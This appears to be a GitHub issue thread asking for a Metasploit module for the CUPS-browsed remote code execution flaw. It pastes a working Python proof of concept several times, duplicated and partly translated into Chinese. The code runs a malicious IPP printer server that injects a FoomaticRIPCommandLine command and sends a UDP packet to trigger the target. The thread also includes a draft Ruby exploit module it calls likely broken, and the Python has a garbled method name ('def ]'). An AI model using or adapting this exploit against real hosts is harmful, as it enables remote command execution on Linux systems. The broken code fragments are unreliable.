CVE-2024-47176 (CUPS-browsed RCE)
Summary
New module to exploit a 9.9 CVE against Linux CUPS-browsed service (supposedly OSX and Windows CVEs coming as well, so this may be good to make libraries for)
Basic example
https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8#advisory-comment-109538 Contains python code:
#!/usr/bin/env python3
import socket
import threading
import time
import sys
from ippserver.server import IPPServer
import ippserver.behaviour as behaviour
from ippserver.server import IPPRequestHandler
from ippserver.constants import (
OperationEnum, StatusCodeEnum, SectionEnum, TagEnum
)
from ippserver.parsers import Integer, Enum, Boolean
from ippserver.request import IppRequest
class MaliciousPrinter(behaviour.StatelessPrinter):
def __init__(self, command):
self.command = command
super(MaliciousPrinter, self).__init__()
def printer_list_attributes(self):
attr = {
# rfc2911 section 4.4
(
SectionEnum.printer,
b'printer-uri-supported',
TagEnum.uri
): [self.printer_uri],
(
SectionEnum.printer,
b'uri-authentication-supported',
TagEnum.keyword
): [b'none'],
(
SectionEnum.printer,
b'uri-security-supported',
TagEnum.keyword
): [b'none'],
(
SectionEnum.printer,
b'printer-name',
TagEnum.name_without_language
): [b'Main Printer'],
(
SectionEnum.printer,
b'printer-info',
TagEnum.text_without_language
): [b'Main Printer Info'],
(
SectionEnum.printer,
b'printer-make-and-model',
TagEnum.text_without_language
): [b'HP 0.00'],
(
SectionEnum.printer,
b'printer-state',
TagEnum.enum
): [Enum(3).bytes()], # XXX 3 is idle
(
SectionEnum.printer,
b'printer-state-reasons',
TagEnum.keyword
): [b'none'],
(
SectionEnum.printer,
b'ipp-versions-supported',
TagEnum.keyword
): [b'1.1'],
(
SectionEnum.printer,
b'operations-supported',
TagEnum.enum
): [
Enum(x).bytes()
for x in (
OperationEnum.print_job, # (required by cups)
OperationEnum.validate_job, # (required by cups)
OperationEnum.cancel_job, # (required by cups)
OperationEnum.get_job_attributes, # (required by cups)
OperationEnum.get_printer_attributes,
)],
(
SectionEnum.printer,
b'multiple-document-jobs-supported',
TagEnum.boolean
): [Boolean(False).bytes()],
(
SectionEnum.printer,
b'charset-configured',
TagEnum.charset
): [b'utf-8'],
(
SectionEnum.printer,
b'charset-supported',
TagEnum.charset
): [b'utf-8'],
(
SectionEnum.printer,
b'natural-language-configured',
TagEnum.natural_language
): [b'en'],
(
SectionEnum.printer,
b'generated-natural-language-supported',
TagEnum.natural_language
): [b'en'],
(
SectionEnum.printer,
b'document-format-default',
TagEnum.mime_media_type
): [b'application/pdf'],
(
SectionEnum.printer,
b'document-format-supported',
TagEnum.mime_media_type
): [b'application/pdf'],
(
SectionEnum.printer,
b'printer-is-accepting-jobs',
TagEnum.boolean
): [Boolean(True).bytes()],
(
SectionEnum.printer,
b'queued-job-count',
TagEnum.integer
): [Integer(666).bytes()],
(
SectionEnum.printer,
b'pdl-override-supported',
TagEnum.keyword
): [b'not-attempted'],
(
SectionEnum.printer,
b'printer-up-time',
TagEnum.integer
): [Integer(self.printer_uptime()).bytes()],
(
SectionEnum.printer,
b'compression-supported',
TagEnum.keyword
): [b'none'],
(
SectionEnum.printer,
b'printer-privacy-policy-uri',
TagEnum.uri
): [b'https://www.google.com/"\n*FoomaticRIPCommandLine: "' +
self.command.encode() +
b'"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'],
}
attr.update(super().minimal_attributes())
return attr
def ](self, req, _psfile):
print("target connected, sending payload ...")
attributes = self.printer_list_attributes()
return IppRequest(
self.version,
StatusCodeEnum.ok,
req.request_id,
attributes)
def send_browsed_packet(ip, port, ipp_server_host, ipp_server_port):
print("sending udp packet to %s:%d ..." % (ip, port))
printer_type = 0x00
printer_state = 0x03
printer_uri = 'http://%s:%d/printers/NAME' % (
ipp_server_host, ipp_server_port)
printer_location = 'Office HQ'
printer_info = 'Printer'
message = bytes('%x %x %s "%s" "%s"' %
(printer_type,
printer_state,
printer_uri,
printer_location,
printer_info), 'UTF-8')
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(message, (ip, port))
def wait_until_ctrl_c():
try:
while True:
time.sleep(300)
except KeyboardInterrupt:
return
def run_server(server):
print('malicious ipp server listening on ', server.server_address)
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = True
server_thread.start()
wait_until_ctrl_c()
server.shutdown()
if __name__ == "__main__":
if len(sys.argv) != 3:
print("%s <LOCAL_HOST> <TARGET_HOST>" % sys.argv[0])
quit()
SERVER_HOST = sys.argv[1]
SERVER_PORT = 12345
command = "echo 1 > /tmp/I_AM_VULNERABLE"
server = IPPServer((SERVER_HOST, SERVER_PORT),
IPPRequestHandler, MaliciousPrinter(command))
threading.Thread(
target=run_server,
args=(server, )
).start()
TARGET_HOST = sys.argv[2]
TARGET_PORT = 631
send_browsed_packet(TARGET_HOST, TARGET_PORT, SERVER_HOST, SERVER_PORT)
print("wating ...")
while True:
time.sleep(1.0)
Motivation
Remote command execution on many linux systems
Here's some generated code from that python code to metasploit module. Likely broken beyond belief and will need a bunch of rewrite, so consider it a pseudo guide:
##
# This module requires Metasploit: https://metasploit.com/download
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Exploit::Remote::TcpServer
include Rex::Text
def initialize(info = {})
super(update_info(info,
'Name' => 'Malicious IPP Printer Exploit',
'Description' => %q{
This module exploits a vulnerability in an IPP server by creating a malicious IPP printer
that sends a malicious command when a client connects to it.
},
'License' => MSF_LICENSE,
'Author' => [ 'Your Name' ], # Add your name here
'Platform' => 'unix',
'Targets' => [ [ 'Automatic', {} ] ],
'DefaultTarget' => 0,
'References' =>
[
[ 'URL', 'https://your-reference-url.com' ]
],
'DisclosureDate' => 'Sep 19 2024'
))
register_options([
OptString.new('TARGET_HOST', [true, 'The target IP', '']),
OptInt.new('TARGET_PORT', [true, 'The target IPP port', 631]),
OptString.new('LOCAL_HOST', [true, 'The local host to bind the IPP server', '0.0.0.0']),
OptInt.new('LOCAL_PORT', [true, 'The local port to bind the IPP server', 12345])
])
end
def printer_list_attributes(command)
{
'printer-uri-supported' => ["http://#{datastore['LOCAL_HOST']}:#{datastore['LOCAL_PORT']}/printers/NAME"],
'uri-authentication-supported' => ['none'],
'printer-name' => ['Malicious Printer'],
'printer-info' => ['Malicious Printer Info'],
'printer-make-and-model' => ['HP 0.00'],
'printer-state' => [3], # Printer is idle
'operations-supported' => [2, 4, 5, 9, 11],
'printer-privacy-policy-uri' => ['https://www.google.com/' \
"\n*FoomaticRIPCommandLine: \"#{command}\"" \
"\n*cupsFilter2 : \"application/pdf application/vnd.cups-postscript 0 foomatic-rip\""]
}
end
def on_client_connect(client)
print_good("Target connected, sending malicious payload...")
# Simulating a response with attributes
command = "echo 1 > /tmp/I_AM_VULNERABLE"
attributes = printer_list_attributes(command)
# Create IPP response (simplified, normally you'd create an actual IPP protocol response)
response = {
version: '1.1',
status_code: 200,
request_id: rand(1000..9999),
attributes: attributes
}
# Send response
client.put(serialize_ipp_response(response))
client.close
end
def serialize_ipp_response(response)
# This is a placeholder. In a real exploit, you'd serialize the IPP response properly
"IPP Response: #{response.inspect}"
end
def run
print_status("Starting malicious IPP server on #{datastore['LOCAL_HOST']}:#{datastore['LOCAL_PORT']}...")
exploit_server.start
end
def send_browsed_packet(target_ip, target_port)
print_status("Sending UDP packet to #{target_ip}:#{target_port}...")
printer_type = 0x00
printer_state = 0x03
printer_uri = "http://#{datastore['LOCAL_HOST']}:#{datastore['LOCAL_PORT']}/printers/NAME"
printer_location = 'Office HQ'
printer_info = 'Malicious Printer'
message = "#{printer_type} #{printer_state} #{printer_uri} \"#{printer_location}\" \"#{printer_info}\""
udp_sock = UDPSocket.new
udp_sock.send(message, 0, target_ip, target_port)
udp_sock.close
end
def exploit
# Start the malicious IPP server
run
# Send UDP packet to the target
send_browsed_packet(datastore['TARGET_HOST'], datastore['TARGET_PORT'])
print_status("Waiting for target connection...")
while true
Rex::ThreadSafe.sleep(1)
end
end
end
This is in progress courtesy of @remmons-r7 🎉
Summary
New module to exploit a 9.9 CVE against Linux CUPS-browsed service (supposedly OSX and Windows CVEs coming as well, so this may be good to make libraries for)
Basic example
https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8#advisory-comment-109538 Contains python code:
#!/usr/bin/env python3 import socket import threading import time import sys from ippserver.server import IPPServer import ippserver.behaviour as behaviour from ippserver.server import IPPRequestHandler from ippserver.constants import ( OperationEnum, StatusCodeEnum, SectionEnum, TagEnum ) from ippserver.parsers import Integer, Enum, Boolean from ippserver.request import IppRequest class MaliciousPrinter(behaviour.StatelessPrinter): def __init__(self, command): self.command = command super(MaliciousPrinter, self).__init__() def printer_list_attributes(self): attr = { # rfc2911 section 4.4 ( SectionEnum.printer, b'printer-uri-supported', TagEnum.uri ): [self.printer_uri], ( SectionEnum.printer, b'uri-authentication-supported', TagEnum.keyword ): [b'none'], ( SectionEnum.printer, b'uri-security-supported', TagEnum.keyword ): [b'none'], ( SectionEnum.printer, b'printer-name', TagEnum.name_without_language ): [b'Main Printer'], ( SectionEnum.printer, b'printer-info', TagEnum.text_without_language ): [b'Main Printer Info'], ( SectionEnum.printer, b'printer-make-and-model', TagEnum.text_without_language ): [b'HP 0.00'], ( SectionEnum.printer, b'printer-state', TagEnum.enum ): [Enum(3).bytes()], # XXX 3 is idle ( SectionEnum.printer, b'printer-state-reasons', TagEnum.keyword ): [b'none'], ( SectionEnum.printer, b'ipp-versions-supported', TagEnum.keyword ): [b'1.1'], ( SectionEnum.printer, b'operations-supported', TagEnum.enum ): [ Enum(x).bytes() for x in ( OperationEnum.print_job, # (required by cups) OperationEnum.validate_job, # (required by cups) OperationEnum.cancel_job, # (required by cups) OperationEnum.get_job_attributes, # (required by cups) OperationEnum.get_printer_attributes, )], ( SectionEnum.printer, b'multiple-document-jobs-supported', TagEnum.boolean ): [Boolean(False).bytes()], ( SectionEnum.printer, b'charset-configured', TagEnum.charset ): [b'utf-8'], ( SectionEnum.printer, b'charset-supported', TagEnum.charset ): [b'utf-8'], ( SectionEnum.printer, b'natural-language-configured', TagEnum.natural_language ): [b'en'], ( SectionEnum.printer, b'generated-natural-language-supported', TagEnum.natural_language ): [b'en'], ( SectionEnum.printer, b'document-format-default', TagEnum.mime_media_type ): [b'application/pdf'], ( SectionEnum.printer, b'document-format-supported', TagEnum.mime_media_type ): [b'application/pdf'], ( SectionEnum.printer, b'printer-is-accepting-jobs', TagEnum.boolean ): [Boolean(True).bytes()], ( SectionEnum.printer, b'queued-job-count', TagEnum.integer ): [Integer(666).bytes()], ( SectionEnum.printer, b'pdl-override-supported', TagEnum.keyword ): [b'not-attempted'], ( SectionEnum.printer, b'printer-up-time', TagEnum.integer ): [Integer(self.printer_uptime()).bytes()], ( SectionEnum.printer, b'compression-supported', TagEnum.keyword ): [b'none'], ( SectionEnum.printer, b'printer-privacy-policy-uri', TagEnum.uri ): [b'https://www.google.com/"\n*FoomaticRIPCommandLine: "' + self.command.encode() + b'"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'], } attr.update(super().minimal_attributes()) return attr def ](self, req, _psfile): print("target connected, sending payload ...") attributes = self.printer_list_attributes() return IppRequest( self.version, StatusCodeEnum.ok, req.request_id, attributes) def send_browsed_packet(ip, port, ipp_server_host, ipp_server_port): print("sending udp packet to %s:%d ..." % (ip, port)) printer_type = 0x00 printer_state = 0x03 printer_uri = 'http://%s:%d/printers/NAME' % ( ipp_server_host, ipp_server_port) printer_location = 'Office HQ' printer_info = 'Printer' message = bytes('%x %x %s "%s" "%s"' % (printer_type, printer_state, printer_uri, printer_location, printer_info), 'UTF-8') sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(message, (ip, port)) def wait_until_ctrl_c(): try: while True: time.sleep(300) except KeyboardInterrupt: return def run_server(server): print('malicious ipp server listening on ', server.server_address) server_thread = threading.Thread(target=server.serve_forever) server_thread.daemon = True server_thread.start() wait_until_ctrl_c() server.shutdown() if __name__ == "__main__": if len(sys.argv) != 3: print("%s <LOCAL_HOST> <TARGET_HOST>" % sys.argv[0]) quit() SERVER_HOST = sys.argv[1] SERVER_PORT = 12345 command = "echo 1 > /tmp/I_AM_VULNERABLE" server = IPPServer((SERVER_HOST, SERVER_PORT), IPPRequestHandler, MaliciousPrinter(command)) threading.Thread( target=run_server, args=(server, ) ).start() TARGET_HOST = sys.argv[2] TARGET_PORT = 631 send_browsed_packet(TARGET_HOST, TARGET_PORT, SERVER_HOST, SERVER_PORT) print("wating ...") while True: time.sleep(1.0)Motivation
Remote command execution on many linux systems
maybe with some error .
def ](self, req, _psfile):
(>﹏<)
Summary 概括
New module to exploit a 9.9 CVE against Linux CUPS-browsed service (supposedly OSX and Windows CVEs coming as well, so this may be good to make libraries for)针对 Linux CUPS 浏览的服务利用 9.9 CVE 的新模块(据说 OSX 和 Windows CVE 也会推出,因此这可能适合为其创建库)
Basic example 基本示例
https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8#advisory-comment-109538 Contains python code: 包含python代码:
#!/usr/bin/env python3 import socket import threading import time import sys from ippserver.server import IPPServer import ippserver.behaviour as behaviour from ippserver.server import IPPRequestHandler from ippserver.constants import ( OperationEnum, StatusCodeEnum, SectionEnum, TagEnum ) from ippserver.parsers import Integer, Enum, Boolean from ippserver.request import IppRequest class MaliciousPrinter(behaviour.StatelessPrinter): def __init__(self, command): self.command = command super(MaliciousPrinter, self).__init__() def printer_list_attributes(self): attr = { # rfc2911 section 4.4 ( SectionEnum.printer, b'printer-uri-supported', TagEnum.uri ): [self.printer_uri], ( SectionEnum.printer, b'uri-authentication-supported', TagEnum.keyword ): [b'none'], ( SectionEnum.printer, b'uri-security-supported', TagEnum.keyword ): [b'none'], ( SectionEnum.printer, b'printer-name', TagEnum.name_without_language ): [b'Main Printer'], ( SectionEnum.printer, b'printer-info', TagEnum.text_without_language ): [b'Main Printer Info'], ( SectionEnum.printer, b'printer-make-and-model', TagEnum.text_without_language ): [b'HP 0.00'], ( SectionEnum.printer, b'printer-state', TagEnum.enum ): [Enum(3).bytes()], # XXX 3 is idle ( SectionEnum.printer, b'printer-state-reasons', TagEnum.keyword ): [b'none'], ( SectionEnum.printer, b'ipp-versions-supported', TagEnum.keyword ): [b'1.1'], ( SectionEnum.printer, b'operations-supported', TagEnum.enum ): [ Enum(x).bytes() for x in ( OperationEnum.print_job, # (required by cups) OperationEnum.validate_job, # (required by cups) OperationEnum.cancel_job, # (required by cups) OperationEnum.get_job_attributes, # (required by cups) OperationEnum.get_printer_attributes, )], ( SectionEnum.printer, b'multiple-document-jobs-supported', TagEnum.boolean ): [Boolean(False).bytes()], ( SectionEnum.printer, b'charset-configured', TagEnum.charset ): [b'utf-8'], ( SectionEnum.printer, b'charset-supported', TagEnum.charset ): [b'utf-8'], ( SectionEnum.printer, b'natural-language-configured', TagEnum.natural_language ): [b'en'], ( SectionEnum.printer, b'generated-natural-language-supported', TagEnum.natural_language ): [b'en'], ( SectionEnum.printer, b'document-format-default', TagEnum.mime_media_type ): [b'application/pdf'], ( SectionEnum.printer, b'document-format-supported', TagEnum.mime_media_type ): [b'application/pdf'], ( SectionEnum.printer, b'printer-is-accepting-jobs', TagEnum.boolean ): [Boolean(True).bytes()], ( SectionEnum.printer, b'queued-job-count', TagEnum.integer ): [Integer(666).bytes()], ( SectionEnum.printer, b'pdl-override-supported', TagEnum.keyword ): [b'not-attempted'], ( SectionEnum.printer, b'printer-up-time', TagEnum.integer ): [Integer(self.printer_uptime()).bytes()], ( SectionEnum.printer, b'compression-supported', TagEnum.keyword ): [b'none'], ( SectionEnum.printer, b'printer-privacy-policy-uri', TagEnum.uri ): [b'https://www.google.com/"\n*FoomaticRIPCommandLine: "' + self.command.encode() + b'"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'], } attr.update(super().minimal_attributes()) return attr def ](self, req, _psfile): print("target connected, sending payload ...") attributes = self.printer_list_attributes() return IppRequest( self.version, StatusCodeEnum.ok, req.request_id, attributes) def send_browsed_packet(ip, port, ipp_server_host, ipp_server_port): print("sending udp packet to %s:%d ..." % (ip, port)) printer_type = 0x00 printer_state = 0x03 printer_uri = 'http://%s:%d/printers/NAME' % ( ipp_server_host, ipp_server_port) printer_location = 'Office HQ' printer_info = 'Printer' message = bytes('%x %x %s "%s" "%s"' % (printer_type, printer_state, printer_uri, printer_location, printer_info), 'UTF-8') sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(message, (ip, port)) def wait_until_ctrl_c(): try: while True: time.sleep(300) except KeyboardInterrupt: return def run_server(server): print('malicious ipp server listening on ', server.server_address) server_thread = threading.Thread(target=server.serve_forever) server_thread.daemon = True server_thread.start() wait_until_ctrl_c() server.shutdown() if __name__ == "__main__": if len(sys.argv) != 3: print("%s <LOCAL_HOST> <TARGET_HOST>" % sys.argv[0]) quit() SERVER_HOST = sys.argv[1] SERVER_PORT = 12345 command = "echo 1 > /tmp/I_AM_VULNERABLE" server = IPPServer((SERVER_HOST, SERVER_PORT), IPPRequestHandler, MaliciousPrinter(command)) threading.Thread( target=run_server, args=(server, ) ).start() TARGET_HOST = sys.argv[2] TARGET_PORT = 631 send_browsed_packet(TARGET_HOST, TARGET_PORT, SERVER_HOST, SERVER_PORT) print("wating ...") while True: time.sleep(1.0)Motivation 动机
Remote command execution on many linux systems在许多 Linux 系统上远程执行命令
maybe with some error .也许有一些错误。
def ](self, req, _psfile):
(>﹏<)
gaodinglema